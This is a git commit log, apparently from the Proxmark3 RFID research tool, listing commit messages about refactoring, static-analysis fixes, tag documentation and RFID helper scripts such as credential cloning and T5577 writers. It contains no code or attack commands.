Merge pull request #2817 from elafargue/better-tesla-card
Improve Tesla NFC card reader command
2025-04-10 12:27:15 +02:00
Iceman
cccf4f440c
Merge pull request #2823 from Eltrick/output-log
MIFARE DESFire keysettings clarifications / Ultralight C Hints clarif…
2025-04-10 12:21:57 +02:00
Lucifer Voeltner
216cd09635
..Directory listing in applications referred to File IDs, not App IDs. 2025-04-10 15:45:00 +07:00
Lucifer Voeltner
6f10a6d9d7
MIFARE DESFire keysettings clarifications / Ultralight C Hints clarifications 2025-04-10 14:49:15 +07:00
Ed Lafargue
14a58a7427 Improve Tesla NFC card reader:
- Compatibility with more javacard variants
- Read the full certificate
- Optionally parse the certificate (ASN.1)
- Don't bail at each error and try to read what it can
- Better form factor parsing
- Read all four public keys

Read all four public keys
2025-04-09 11:43:08 -07:00
Iceman
65f8bdfe31
Merge pull request #2821 from kormax/polling-loop-annotations
Add support for setting polling loop annotations with `hf 14a config`
2025-04-09 13:08:58 +02:00
kormax
56336d9d82 Add support for polling loop annotations 2025-04-09 12:31:21 +03:00
Iceman
2aa1c8361a
Merge pull request #2822 from mishamyte/doc/ul-y-additions
Added docs about UL-Y variations + NTAG215-cfg of that tag
2025-04-09 10:47:07 +02:00
Mykhailo Shevchuk
d326f99a36 UL-Y variations + NTAG215-cfg 2025-04-09 02:13:10 +03:00
Iceman
cd5fb7add7
Merge pull request #2820 from gentilkiwi/patch-1
Update intertic.py to support [FRA] Aix-en-Provence
2025-04-07 11:53:37 +02:00
Benjamin DELPY
c00b25e89e
Update intertic.py to support [FRA] Aix-en-Provence
Signed-off-by: Benjamin DELPY <benjamin@gentilkiwi.com>
2025-04-07 12:51:11 +03:00
Iceman
22bff9e85b
Merge pull request #2814 from johndekroon/Standalone-mattyrun-spiffs
Standalone mattyrun spiffs
2025-04-07 11:24:08 +02:00
Iceman
3f705650c0
Merge pull request #2815 from DidierA/mfdes-bruteaid-fix
hf mfdes bruteaid: fix byte order
2025-04-07 04:44:48 +02:00
Iceman
a790c49348
Merge pull request #2819 from trigat/master
Update des_talk.py
2025-04-07 04:39:01 +02:00
Iceman
9d36ae9cd5
Merge pull request #2818 from mishamyte/doc/magic-cards-improvement
Improve magic tags notes
2025-04-07 04:38:08 +02:00
Trigat
59d17c236c
Update des_talk.py
Added file restriction functionality that allows user to apply and remove keys
Added communication mode options
Added options to change PICC and application keys

Signed-off-by: Trigat <trigat@protonmail.com>
2025-04-05 16:52:11 -05:00
Mykhailo Shevchuk
30708b4553 Ultra tags info 2025-04-05 02:20:47 +03:00
Mykhailo Shevchuk
7c6cebb6c3 ZUID has no hidden blocks 2025-04-05 00:59:40 +03:00
Mykhailo Shevchuk
c56b7a2903 OTP merged into FUID 2025-04-05 00:56:09 +03:00
Philippe Teuwen
899e571957 Fix homebrew install 2025-04-03 22:20:39 +02:00
DidierA
853e2bd9ff
hf mfdes bruteaid: fix byte order 2025-03-31 18:41:18 +02:00
John de Kroon
ec4dccb12b
Define dump_file
Signed-off-by: John de Kroon <mail@johndekroon.nl>
2025-03-29 12:57:53 +01:00
John de Kroon
59839f1107
Store card in spiff memory
Signed-off-by: John de Kroon <mail@johndekroon.nl>
2025-03-29 12:55:09 +01:00
Philippe Teuwen
145ee3baa7 fix double-free 2025-03-27 21:47:42 +01:00
Iceman
ec6f9e78b6
Merge pull request #2813 from Eltrick/uscuid-cl-doc2
ZUID - Second clarification revision -- Visualise usable bytes
2025-03-27 16:26:09 +01:00
Lucifer Voeltner
67b1752748
ZUID - Second clarification revision -- Visualise usable bytes 2025-03-27 22:15:36 +07:00
Iceman
932780bcb5
Merge pull request #2812 from Eltrick/uscuid-cl-doc
ZUID - Clarification on usable config bytes
2025-03-27 11:54:02 +01:00
Lucifer Voeltner
a641b67edd
ZUID - Clarification on usable config bytes 2025-03-27 14:24:23 +07:00
Iceman
631cdc62b3
Merge pull request #2811 from kitsunehunter/patch-1
Update hid_downgrade.md
2025-03-27 06:59:19 +01:00
Xavier
7bc8c85626
Update hid_downgrade.md
how did we not catch this lol 

Signed-off-by: Xavier <90627943+kitsunehunter@users.noreply.github.com>
2025-03-26 21:21:14 -04:00
Philippe Teuwen
0f53e9a0cb docker: add Fedora 43 (rawhide) 2025-03-26 01:10:21 +01:00
Philippe Teuwen
74a3920c0d Fix TOOLS_PATH and DICTS_PATH for maintainers (stripped DESTDIR) 2025-03-26 01:08:06 +01:00
Philippe Teuwen
f448ed5c51 Fix for GCC 15 2025-03-25 23:25:20 +01:00
Philippe Teuwen
05fb168e0b docker: add Fedora 42 2025-03-25 23:19:52 +01:00
Philippe Teuwen
82a3aa90e0 docker: add Fedora 41, Ubuntu 24.04 and remove old ones 2025-03-25 23:11:08 +01:00
Philippe Teuwen
42b5602692 Missing docker files 2025-03-25 22:46:43 +01:00
Philippe Teuwen
a8604e3ff9 fix make install on osx, thanks DaveItsLong 2025-03-25 22:38:39 +01:00
Iceman
c99249a169
Merge pull request #2809 from kiyoukan/master
Add files via upload
2025-03-25 21:43:50 +01:00
Iceman
55d3f441be
Merge pull request #2810 from TheWaffleCopter/master
Update macOS-Homebrew-Installation-Instructions.md
2025-03-25 21:43:01 +01:00
TheWaffleCopter
bfe3c26277
Update macOS-Homebrew-Installation-Instructions.md
Added openssl install dependency to resolve compile errors

Signed-off-by: TheWaffleCopter <104417762+TheWaffleCopter@users.noreply.github.com>
2025-03-26 07:34:04 +11:00
kiyoukan
c827b4e582
Add files via upload
Signed-off-by: kiyoukan <kiyoukan@gmail.com>
2025-03-25 15:44:40 -04:00
iceman1001
124c415679 text 2025-03-25 16:20:05 +01:00
iceman1001
6ed1853320 Revert "Release v4.20142 - Blue Ice"
This reverts commit a657dbda9b.
2025-03-25 16:18:49 +01:00
iceman1001
a657dbda9b Release v4.20142 - Blue Ice 2025-03-25 16:18:49 +01:00
iceman1001
037833675a text 2025-03-25 16:18:30 +01:00
iceman1001
7dbf4cfbe0 text 2025-03-25 16:09:05 +01:00
Iceman
753560e731
Merge pull request #2808 from trigat/master
Add files via upload
2025-03-25 16:07:34 +01:00
Trigat
7a129e7be0
Add files via upload
Add a Python script to simplify interactions with DESFire.

Signed-off-by: Trigat <trigat@protonmail.com>
2025-03-25 09:21:02 -05:00
iceman1001
1171127094 text 2025-03-25 14:56:04 +01:00
Iceman
f697a16999
Merge pull request #2807 from gentilkiwi/patch-1
Update cmdhf14b.c to respect bytes order when evaluating SR/ST25TB locks
2025-03-25 14:06:38 +01:00
Benjamin DELPY
ee1a38d975
Update cmdhf14b.c to respect bytes order when evaluating SR/ST25TB locks
Signed-off-by: Benjamin DELPY <benjamin@gentilkiwi.com>
2025-03-25 13:59:10 +01:00
iceman1001
04a132b6ba style 2025-03-25 12:44:59 +01:00
iceman1001
1252aee27d clean up text 2025-03-25 12:40:35 +01:00
iceman1001
ded9166393 missing breaks 2025-03-25 12:36:22 +01:00
iceman1001
363bc0da8a some extra NULL checks to please cppchecker 2025-03-25 12:34:00 +01:00
iceman1001
ad292e8810 unify test - step 2 2025-03-25 10:17:42 +01:00
iceman1001
875b3c44b4 unify text - step 1 2025-03-25 10:12:16 +01:00
Iceman
090f31d0a7
Merge pull request #2806 from ry4000/master
R&Y: Updated SOF Sofia City Card AID in `aid_desfire.json`
2025-03-25 10:08:50 +01:00
ry4000
8e1f835637
R&Y: Updated SOF Sofia City Card AID in aid_desfire.json
### Update
- SOF Sofia City Card's AID (reversed the endian).

Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2025-03-25 19:31:35 +11:00
Iceman
bace2b78ba
Merge pull request #2805 from shuffle2/ntag424tt
ntag424: let info cmd show if tag has tag tamper feature
2025-03-25 05:54:59 +01:00
Shawn Hoffman
e04d778c46 ntag424: let info cmd show if tag has tag tamper feature 2025-03-24 17:10:19 -07:00
Philippe Teuwen
f4fe58fc36 make style 2025-03-24 23:48:02 +01:00
Philippe Teuwen
ad84875afd cppcheck nullPointerOutOfMemory 2025-03-24 23:46:43 +01:00
Philippe Teuwen
e42932738e cppcheck: a few static & const stuff 2025-03-24 22:42:13 +01:00
Philippe Teuwen
f90d11912c cppcheck unused struct 2025-03-24 22:10:55 +01:00
Philippe Teuwen
4fff85d6ed cppcheck duplicatecondition 2025-03-24 22:01:38 +01:00
Philippe Teuwen
85ed469340 cppcheck const 2025-03-24 21:59:02 +01:00
Philippe Teuwen
6491b37d7a cppcheck duplicateCondition 2025-03-24 21:44:21 +01:00
Philippe Teuwen
dc1cab14ef cppcheck redundantAssignment 2025-03-24 21:41:31 +01:00
Philippe Teuwen
371d98d3b0 cppcheck duplicateBreak 2025-03-24 21:39:45 +01:00
iceman1001
176d8fe6a6 fix cppchecker warnings 2025-03-24 18:00:06 +01:00
Philippe Teuwen
8c76e12fec cppcheck identicalInnerCondition 2025-03-24 11:33:20 +01:00
Philippe Teuwen
bd242f6e41 cppcheck ctunullpointerOutOfMemory 2025-03-24 11:33:08 +01:00
Philippe Teuwen
c37ca881e6 a few calloc checks, still many to go 2025-03-24 11:17:40 +01:00
Philippe Teuwen
74c60301d1 cppcheck mem alloc: oops forgot to save one file 2025-03-24 10:47:33 +01:00
Philippe Teuwen
678b387c3f cppcheck: a few mem alloc checks 2025-03-24 10:44:01 +01:00
Philippe Teuwen
f3367e61db cppcheck on tlv: null pointers 2025-03-24 10:23:47 +01:00
Philippe Teuwen
f6123da72e cppcheck: integeroverflow 2025-03-24 10:06:58 +01:00
Philippe Teuwen
f1b7454fcd Fix pm3_tests for OSX 2025-03-24 09:53:44 +01:00
Philippe Teuwen
4496b7ec7a experimental lib & client: force symlinks 2025-03-24 09:18:21 +01:00
iceman1001
12f94a921a text and cpp warning for hitagu fix suggested by jump 2025-03-24 09:13:21 +01:00
Philippe Teuwen
d5ecc626ab cppcheck ctunullpointerOutOfMemory 2025-03-23 23:58:43 +01:00
Philippe Teuwen
dfdb8f54cc cppcheck ctunullpointer 2025-03-23 23:47:38 +01:00
Philippe Teuwen
65eb649e58 cppcheck identicalConditionAfterEarlyExit 2025-03-23 23:44:16 +01:00
Philippe Teuwen
b2a7a91bbd cppcheck memory leak 2025-03-23 23:38:50 +01:00
Philippe Teuwen
1aa8ae6076 cppcheck unused variable 2025-03-23 23:35:34 +01:00
Philippe Teuwen
d490be9649 cppcheck truncLongCastAssignment 2025-03-23 23:34:29 +01:00
Philippe Teuwen
dac2c7664c cppcheck multicondition 2025-03-23 23:29:24 +01:00
Philippe Teuwen
78ae375d55 make miscchecks, skip venv 2025-03-23 23:22:23 +01:00
Philippe Teuwen
6359471c5e make style 2025-03-23 23:14:18 +01:00
Iceman
40830586fe
Merge pull request #2799 from jareckib/patch-2
Update lf_t55xx_multiwriter.lua
2025-03-23 06:20:27 +01:00
Iceman
3fba6b8875
Merge pull request #2803 from siowu/fix-typos
Correct typos in the compilation configuration item for PM3MAX
2025-03-22 15:56:41 +01:00
siowu
72254f5c24 Correct typos in the compilation configuration item for PM3MAX 2025-03-22 22:47:05 +08:00
iceman1001
4c97151ecc style 2025-03-22 15:46:55 +01:00
iceman1001
9a114815d1 fix cppchecker warning with shadow 2025-03-22 15:45:17 +01:00
Iceman
475c3c1772
Merge pull request #2802 from ry4000/master
R&Y: Added PACS AIDs & Updated MAD TTP AID
2025-03-22 14:43:06 +01:00
ry4000
1d565cbee0
R&Y: Added PACS AIDs & Updated MAD TTP AID
### Additions
- `0854DF`: Gantner locker credentials.
- `F473A0`: Securitron DESFire EV2 credentials.

### Updates
- `000001`: Updated MAD to original Spanish name.
- `010000`: Updated MAD back to Alternative Endian designation.

Thank you.

-R&Y.

Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2025-03-23 00:35:09 +11:00
Iceman
67e3861260
Merge pull request #2801 from douniwan5788/working
Refactor hitag config_page_t for better memory alignment
2025-03-22 14:03:34 +01:00
douniwan5788
5122039547 Refactor hitag config_page_t for better memory alignment 2025-03-22 20:54:13 +08:00
iceman1001
bbbfdc7edc fix cpp warning 2025-03-22 13:14:50 +01:00
iceman1001
c8d46a2a7c textual changes, one fix for overflows when sending OLD frames. Now inform and breaks like MIXED/NG does. Improved hf mf autopwn to detect static encrypted nonces and inform user. Last fix is the user abort during check keys steps in autopwn. The device side now detects and cancels if no card is available and on client it also allows to user abort 2025-03-22 13:14:37 +01:00
iceman1001
c0af6cd7d2 fiddled with pm3 client informative text 2025-03-22 13:09:55 +01:00
iceman1001
12ba14fa58 text 2025-03-22 13:04:18 +01:00
iceman1001
e8c603a50f fix 2025-03-21 20:35:16 +01:00
iceman1001
5865a77c41 fix 2025-03-21 19:55:20 +01:00
iceman1001
c00b1c0b73 change in detection 2025-03-21 18:48:45 +01:00
Iceman
9b988b7216
Merge pull request #2800 from jmichelp/master
Add option to use SPI flash dictionary for autopwn
2025-03-21 18:46:06 +01:00
Jean-Michel Picod
e77fbc092c Apply same logic to hf mf fchk 2025-03-21 18:14:11 +01:00
Jean-Michel Picod
c5fcb97bc1 changelog 2025-03-21 18:06:48 +01:00
Jean-Michel Picod
95e5634388 Add option to use SPI flash dictionary for autopwn 2025-03-21 18:05:14 +01:00
Jarek Barwinski
fbc8e99ffe
Update lf_t55xx_multiwriter.lua
Signed-off-by: Jarek Barwinski <116510448+jareckib@users.noreply.github.com>
2025-03-21 15:13:02 +00:00
Philippe Teuwen
fe1bd6f2c4 minor fix 2025-03-21 14:20:15 +01:00
Philippe Teuwen
de967f9332 fix FR quotes for Proxspace 2025-03-21 14:13:23 +01:00
Philippe Teuwen
3869f70043 make commands requires an up-to-date client 2025-03-21 13:56:46 +01:00
iceman1001
a2d10d7910 fix cpp warnings 2025-03-21 13:19:01 +01:00
iceman1001
1a437d4a18 fix cpp warning 2025-03-21 11:34:03 +01:00
iceman1001
1c52bee9a1 text and style 2025-03-21 11:25:31 +01:00
iceman1001
a5dcb4a812 text and style 2025-03-21 08:30:13 +01:00
iceman1001
9c7b70a58d command 2025-03-20 22:58:36 +01:00
iceman1001
4d603a4530 unify hint text 2025-03-20 22:55:26 +01:00
iceman1001
3f79459689 hf mf info, added a hint for static encrypted nonce 2025-03-20 20:47:40 +01:00
iceman1001
d905ea480e text 2025-03-20 20:01:37 +01:00
iceman1001
ccef511dec updated trace list -t seos to also annotate ISO7816 2025-03-20 20:01:04 +01:00
iceman1001
3894d4419a added some AID and MAD entries 2025-03-20 19:59:14 +01:00
iceman1001
b4cc21c68f modified hf 14a apdu to report back when extending time and also added a possibililty to interrupt the extension loop with button press or usb commad. A bunch of minor textual changes 2025-03-20 19:58:13 +01:00
Iceman
db877ce4fd
Merge pull request #2797 from douniwan5788/working
Improve Hitag µ error reason and messages
2025-03-20 15:13:41 +01:00
douniwan5788
2c9a74b906 Improve Hitag µ error reason and messages 2025-03-20 21:47:39 +08:00
iceman1001
93c6250894 fix #2796 2025-03-20 12:57:54 +01:00
iceman1001
17a8f0f9c2 text 2025-03-20 12:17:37 +01:00
iceman1001
9965c784bf style fixes 2025-03-19 21:11:05 +01:00
iceman1001
0107e212b0 fix list for shortend type 2025-03-19 20:50:43 +01:00
iceman1001
823069f500 fixed to shortend type 2025-03-19 20:46:29 +01:00
iceman1001
76fa254c0f only check 4 bytes 2025-03-19 15:35:40 +01:00
iceman1001
1bd811f7a1 better OTP update sanity check by @jmichelp. Checks every bytewise if any bit is 0 2025-03-19 15:34:20 +01:00
iceman1001
440d283a53 in the philosofy to have short and direct params , the trace list -t hitag types has been shortend from hitag1 - ht1 2025-03-19 15:24:39 +01:00
iceman1001
c8cde55a5e fix OTP simulation 2025-03-19 15:22:55 +01:00
iceman1001
c3390a2e0e added lf t55 Be-Tech identification 2025-03-19 13:37:53 +01:00
iceman1001
87c2e82e2f style 2025-03-19 12:53:24 +01:00
Iceman
8350dbd6b9
Merge pull request #2795 from douniwan5788/hitagµ
Hitagµ
2025-03-19 12:44:06 +01:00
douniwan5788
214ded2b97 Replace all μ(greek small letter mu, UTF-8 \xce\xbc) to µ(micro sign, UTF-8 \xc2\xb5) 2025-03-19 19:21:01 +08:00
Philippe Teuwen
ecdfa9755e MifareUL_AES_Auth: do not let HF field on when erroring 2025-03-19 12:03:46 +01:00
douniwan5788
7729786e78 Update CHANGELOG.md and doc/magic_cards_notes.md for Hitag µ/8265 2025-03-19 18:56:23 +08:00
douniwan5788
2ff92c3b5c add lf em 410x clone --htu to support Hitag µ/8265 tag 2025-03-19 18:56:23 +08:00
douniwan5788
04133e6d07 Add lf search Chipset detection for Hitag µ / 8265 2025-03-19 18:56:23 +08:00
douniwan5788
4bde83b89d Added lf hitag htu support for Hitag µ/8265 2025-03-19 18:56:23 +08:00
douniwan5788
ff1289c03d Update Crc16 function to use bitlength instead of length 2025-03-19 18:43:16 +08:00
Iceman
6a671616b9
Merge pull request #2794 from douniwan5788/annotateHitagS
Enhance Hitag S annotation and debugging
2025-03-19 11:40:36 +01:00
iceman1001
53da4a25e1 added the @ry4000 special 2025-03-19 11:33:06 +01:00
iceman1001
3c873d34bc style 2025-03-19 11:26:25 +01:00
Iceman
239ae6c59e
Merge pull request #2782 from douniwan5788/hitag_common
Refactor Hitag low-level functions into hitag_common
2025-03-19 11:23:21 +01:00
Iceman
73b28b57c0
Merge pull request #2793 from henrygab/em4x70_hotfix
Missing lines from my last commit
2025-03-19 11:21:34 +01:00
douniwan5788
64a4f6cd81 Enhance Hitag S annotation and debugging 2025-03-19 18:12:53 +08:00
Henry Gabryjelski
2aa58457e3 Missing lines from my last commit 2025-03-19 02:34:38 -07:00
douniwan5788
3d0c8cab5c Refactor Hitag low-level functions into hitag_common 2025-03-19 17:05:39 +08:00
iceman1001
4c74704aa1 remove wrong script 2025-03-19 09:44:02 +01:00
Philippe Teuwen
c657ddf135 Add hf mfu aesauth 2025-03-19 09:36:15 +01:00
iceman1001
94a7d87b9d simplify logic 2025-03-19 09:08:15 +01:00
iceman1001
784597641f atleast try to break the simulation loop 2025-03-19 09:07:53 +01:00
Iceman
b5c36148e1
Update bug_report.md
Signed-off-by: Iceman <iceman@iuse.se>
2025-03-19 09:00:44 +01:00
iceman1001
0de915e189 Merge branch 'master' of github.com:RfidResearchGroup/proxmark3 2025-03-19 08:57:28 +01:00
iceman1001
49d25920c1 added support function for left shifting arrays 2025-03-19 08:57:20 +01:00
iceman1001
e9cbdec952 fix output 2025-03-19 08:56:23 +01:00
iceman1001
af93383115 fix #2790 - MFU OTP writes shouldnt allow for zeroing. Bad sanity check implemented, it should check that every bit doesnt try to zero out. Will do for now 2025-03-19 08:56:00 +01:00
Iceman
c3e9a5b9c0
Merge pull request #2792 from henrygab/em4x70_LIW_fix_dev
Em4x70 -- Fix protocol error (Time from LIW detection until transmit first RM bit)
2025-03-19 07:27:12 +01:00
Henry Gabryjelski
43e026b1c9 Fix LIW to RM delay
* Change from 40 FC to 72 FC as default delay between detecting LIW and sending the command.
* Use parity for ID, UM1, and UM2 commands
* Remove extra bit hack from AUTH, PIN, and WRITE commands
2025-03-18 23:18:36 -07:00
Henry Gabryjelski
8617541660 rename some constants to increase clarity 2025-03-18 23:06:33 -07:00
Henry Gabryjelski
a588e74e9d rename global variable g_tag 2025-03-18 22:54:46 -07:00
Henry Gabryjelski
ab602794d9 rename global variable g_command_parity 2025-03-18 22:52:19 -07:00
iceman1001
7b528a8569 fixed missing file in cmakelists.txt for experimental lib 2025-03-18 16:48:07 +01:00
Iceman
46ea897d21
Merge pull request #2788 from jareckib/master
paxton_clone v1.20
2025-03-18 16:04:46 +01:00
Jarek Barwinski
4c318d1d86
paxton_clone
v1.20
Added verification - " Verification successful. Data was written correctly."

Signed-off-by: Jarek Barwinski <116510448+jareckib@users.noreply.github.com>
2025-03-18 13:31:12 +00:00
Iceman
165e3524c6
Merge pull request #2787 from jareckib/patch-1
Update lf_t55xx_fix.lua
2025-03-18 10:44:23 +01:00
Jarek Barwinski
ddd148329e
Merge branch 'master' into patch-1
Signed-off-by: Jarek Barwinski <116510448+jareckib@users.noreply.github.com>
2025-03-18 09:11:38 +00:00
iceman1001
a776f9a0bd style 2025-03-18 08:11:06 +01:00
Iceman
0446509d1e
Merge pull request #2786 from jareckib/master
paxton_clone.lua
2025-03-18 07:43:50 +01:00
Iceman
e2de8c6644
Merge pull request #2781 from douniwan5788/refactor_concatbits
Refactor the concatbits function to support both MSB and LSB first src
2025-03-18 07:43:36 +01:00
Iceman
4742a3b39b
Merge pull request #2780 from douniwan5788/rename_hitag2
Rename Hitag2 functions
2025-03-18 07:43:24 +01:00
Iceman
f2380fe619
Merge pull request #2785 from henrygab/em4x70
Em4x70 - Major improvements to tracing, stability, and debugability
2025-03-18 07:37:52 +01:00
Jarek Barwinski
06ff7934f3
Merge branch 'master' into master
Signed-off-by: Jarek Barwinski <116510448+jareckib@users.noreply.github.com>
2025-03-17 23:00:28 +00:00
Jarek Barwinski
6469c87460
Update lf_t55xx_fix.lua
Signed-off-by: Jarek Barwinski <116510448+jareckib@users.noreply.github.com>
2025-03-17 22:56:50 +00:00
Jarek Barwinski
688a3faa88
Update Paxton_clone.lua
Signed-off-by: Jarek Barwinski <116510448+jareckib@users.noreply.github.com>
2025-03-17 20:37:14 +00:00
Jarek Barwinski
197cae811f
Update lf_t55xx_fix.lua
Signed-off-by: Jarek Barwinski <116510448+jareckib@users.noreply.github.com>
2025-03-17 20:30:40 +00:00
Jarek Barwinski
b3a2e81a06
lf_t55xx_fix.lua
v1.0.1

Signed-off-by: Jarek Barwinski <116510448+jareckib@users.noreply.github.com>
2025-03-17 20:15:24 +00:00
Jarek Barwinski
9e84d9a2f9
paxton_clone.lua
v1.18


Signed-off-by: Jarek Barwinski <116510448+jareckib@users.noreply.github.com>
2025-03-17 14:19:08 +00:00
Henry Gabryjelski
22b2d422d6 update changelog 2025-03-16 01:06:19 -07:00
Henry Gabryjelski
21ad101ff5 Major update to EM4x70 support:
1. Rework how communications with tag occur.
    a. bitstream to be sent to the tag is now fully pre-generated.
    b. bits sent and received are logged with start / end times.

2. Support built-in `hw dbg` for controlling verbosity of debug output

The new bitstream generation and logging has exposed a surprising legacy behavior ... each of the command that sent additional data (beyond the command) were:
* inserting an extra RM zero bit
* force-enabling command parity is used

This was not expected.  However, this PR maintains the behavior of the existing code.

TODO: Root-cause why the third RM bit is needed.  Fix code to remove that hack.

TODO: change the arm/client interface to ONLY use arrays of bytes, with well-defined content endianness, to avoid this problem.
2025-03-16 01:05:55 -07:00
douniwan5788
d13e7b0b64 Refactor the concatbits function to support both MSB and LSB first src 2025-03-15 15:21:58 +08:00
Iceman
f31ee2633f
Merge pull request #2783 from Eltrick/hf-mfu-uscuid
`hf_mfu_uscuid.py` - A helper script for interacting with USCUID-UL
2025-03-15 06:38:11 +01:00
Lucifer Voeltner
0908ff2126
hf_mfu_uscuid.py - A helper script for interacting with USCUID-UL 2025-03-15 09:02:17 +07:00
douniwan5788
e24578c2ea Rename Hitag2 functions 2025-03-15 04:24:42 +08:00
Iceman
02511e06f6
Merge pull request #2779 from tinooo/pcf7930-refactor-and-documentation
PCF7931 refactor and documentation
2025-03-14 09:40:33 +01:00
tinooo
939f5cb11f [PCF7931] Added type cast to compare equally sized types
the github pipeline was stressed about comparing an uint16_t to an uint32_t.
2025-03-14 09:05:53 +01:00
tinooo
e9ef11f812 [PCF7931] Added infos to CHANGELOG.md 2025-03-14 09:01:06 +01:00
tinooo
c3f03d50f1
Merge branch 'RfidResearchGroup:master' into pcf7930-refactor-and-documentation 2025-03-13 15:44:54 +01:00
Iceman
5ad0c14291
Merge pull request #2778 from jareckib/master
lf_t55xx_multiwriter
2025-03-13 10:34:39 +01:00
Jarek Barwinski
b3e5c037e5
lf_t55xx_multiwriter
This simple script stores 1, 2 or 3 different EM4102 on a single T5577.
  There is an option to enter the number engraved on the fob in decimal form.
  The script can therefore be useful if the original EM4102 doesn't work but 
  has an engraved ID number. By entering such an ID as a single EM4102, we 
  can create a working copy of our damaged fob.
  A tag T5577 created in this way works with the following USB readers:
  
  - ACM08Y
  - ACM26C
  - Sycreader R60D
  - Elatech Multitech TWN4

Signed-off-by: Jarek Barwinski <116510448+jareckib@users.noreply.github.com>
2025-03-13 08:01:31 +00:00
iceman1001
aa35a8a1a6 missing defines 2025-03-12 17:40:07 +01:00
tinooo
0b2b238457 [PCF7931] getting things ready for PR
since this is somekind of work in progress, I'm still going for a PR.
This commit is reworking some comments and making the code stable
(at least as good es or better as before).

Also made als const as #define
2025-03-12 17:39:16 +01:00
tinooo
23ddf69f70 [PCF7931] added IIR filter
different tags seem to behave differently.
an old tag from the car had way worse signal. Therefore filtering made it way better.
Still not ideal.
2025-03-12 17:39:13 +01:00
tinooo
d3a87ead61 [PCF7930] refactor move code
move "remapping" of dataframes to the actual send function,
where the timer is located
2025-03-12 17:39:11 +01:00
tinooo
8723037e68 [PCF7931] refactor SendCmdPCF7931
first steps in understading and optimizing this function.
replace != with < - if we don't poll fast enough, it is possible that
the condition != is missed.
2025-03-12 17:39:08 +01:00
tinooo
ea96a3b0c9 [PCF7931] refactor write function
rename some variables for more clear reading
changed data type to meaningfull size
2025-03-12 17:39:05 +01:00
tinooo
f6600ec962 [PCF7931] Refactor removed early returns
unneccessary returns.
2025-03-12 17:39:02 +01:00
tinooo
3939e28640 [PCF7931] Starting refactor of write procedure
added comments
2025-03-12 17:38:59 +01:00
tinooo
2da713eba9 [PCF7931] draft continue with refactoring ReadPCF7931()
still not done with DemodPCF7931(). But now including changes in  ReadPCF7931().
They work tightly together.
Trying to resolve some issues and bugs. Basically it seems to work and
my results are consistent. However, they still deviate from what I get if
I do analyze the signal using lf read and data commands.

still some issues somewhere.
2025-03-12 17:38:55 +01:00
tinooo
9bfd55ebe0 [PCF7931] draft of working & refacored DemodPCF7931()
demod function now seems to work basically. Not all error cases are handled I guess.
Also still debug prints, since I've to figure out the rest.

Also unclear, why limit the buffer size to 1-2 blocks only?
2025-03-12 17:38:53 +01:00
tinooo
3a8dc89dca [PCF7930] Refactoring & bugfix in READING
firs commit of a few to come.
First renames of variables, added a few comments to improve clarity.
Fixed types (int -> unitx_t , const, ...) - not all. still some to come

Fixed 2 conditions that did not work properly. Here some explanation:

  Imagine dest[i-1] = 255 and dest[i] = 0. THis would mean a clear falling edge.
  However, this code would not work, since dest[i] > lmax is not true.
  This condition only works if I have at least 1 sample between lmax and 255.
  Same for the other way around.
2025-03-12 17:38:27 +01:00
iceman1001
06a1627a95 style 2025-03-12 16:48:30 +01:00
iceman1001
2137284a93 style\n Some improvements to trace list -t seos annotations. 2025-03-12 16:41:06 +01:00
Philippe Teuwen
b66e2e03fd Added make commands to regenerate commands documentation files and autocompletion data independently of make style 2025-03-12 09:09:58 +01:00
iceman1001
2f1b8eb8f2 spelling 2025-03-11 14:23:33 +01:00
Iceman
e76ab09762
Update Windows-Installation-Instructions.md
Signed-off-by: Iceman <iceman@iuse.se>
2025-03-11 14:20:48 +01:00
iceman1001
57df87c6f3 added identification of textcom, thanks @en4rab 2025-03-11 14:04:11 +01:00
iceman1001
fd0311b139 style 2025-03-11 09:21:01 +01:00
Iceman
6370901476
Merge pull request #2776 from leecher1337/slixlock
Added ISO15693_PROTECT_PAGE support
2025-03-11 09:19:05 +01:00
Iceman
824ba848ab
Merge pull request #2777 from bettse/adf_oid
Correct oid_hex for hf seos adf and hf seos pacs
2025-03-11 09:18:44 +01:00
Eric Betts
cfa1bb3a0f Correct oid_hex for hf seos adf and hf seos pacs 2025-03-10 16:42:22 -07:00
leecher1337
970b38803b Updated changelog 2025-03-10 22:50:54 +01:00
leecher1337
c71ba4deb8
Merge branch 'RfidResearchGroup:master' into slixlock 2025-03-10 22:48:39 +01:00
iceman1001
ce115598b6 missing input parameter causing client to crash 2025-03-10 16:03:45 +01:00
leecher1337
0e2a02bdf0 Implement new command hf 15 slixprotectpage to do ISO15693_PROTECT_PAGE on slix tags 2025-03-09 11:54:51 +01:00
leecher1337
dbbb20a510 ISO15693 code cleanup: Use ISO15693 command defines for commands, not hardcoded values. 2025-03-08 21:51:10 +01:00
Iceman
9910a5fee6
Merge pull request #2772 from jmichelp/master
Fix wiegand InnerRange56
2025-03-08 19:39:38 +01:00
Jean-Michel Picod
d5a1248862 Fix wiegand InnerRange56 2025-03-05 17:25:45 +01:00
iceman1001
af3a16b25c text and style 2025-03-02 16:45:01 +01:00
Philippe Teuwen
beeec2385c fm11rf08s_full pip8 style 2025-03-02 16:41:14 +01:00
Philippe Teuwen
5e018ea3b3 fm11rf08s_recovery.py: fix it given the changes in the client and add some docstring 2025-03-02 16:20:13 +01:00
Iceman
a75c7cc093
Merge pull request #2765 from Donny-Guo/wiegand
Correct Bitlen Calculation and Refactor Wiegand Decoding
2025-03-01 21:56:49 +01:00
Donny
8c23ebca2e Fix bug 2025-02-27 14:40:29 -08:00
Donny
d2e8066cbf Revise decode_wiegand function 2025-02-27 11:29:57 -08:00
iceman1001
3b97acfefe this define is nasty. Must be reworked! 2025-02-24 08:55:50 +01:00
iceman1001
482deecebf hf mf gload did not handle the large dump files yet. Shold need to look if more commands is missing this support. 2025-02-24 08:55:17 +01:00
iceman1001
c498d38b82 the wiegand formats unpack functions now clears the struct after sanity checking is done. Also adapted testing wiegand formats which might just have a preamble bit but not a sentinel bit like iclass credentials 2025-02-23 23:13:08 +01:00
iceman1001
98f6b263ff wiegand decode now accepts --new parameter to decode new padding format <len 1byte><pacs bytes> where len denotes number of zeros bits added in the end of the pacs bytes. You will need to shift accordingly. 2025-02-23 23:10:13 +01:00
iceman1001
66b1a48536 style 2025-02-23 21:16:34 +01:00
iceman1001
2fcdea68d1 style and text 2025-02-23 21:08:16 +01:00
iceman1001
14d50f7ac5 change mem spiffs tree to show id number in decimal. Previously shown in hex. 2025-02-23 21:05:09 +01:00
iceman1001
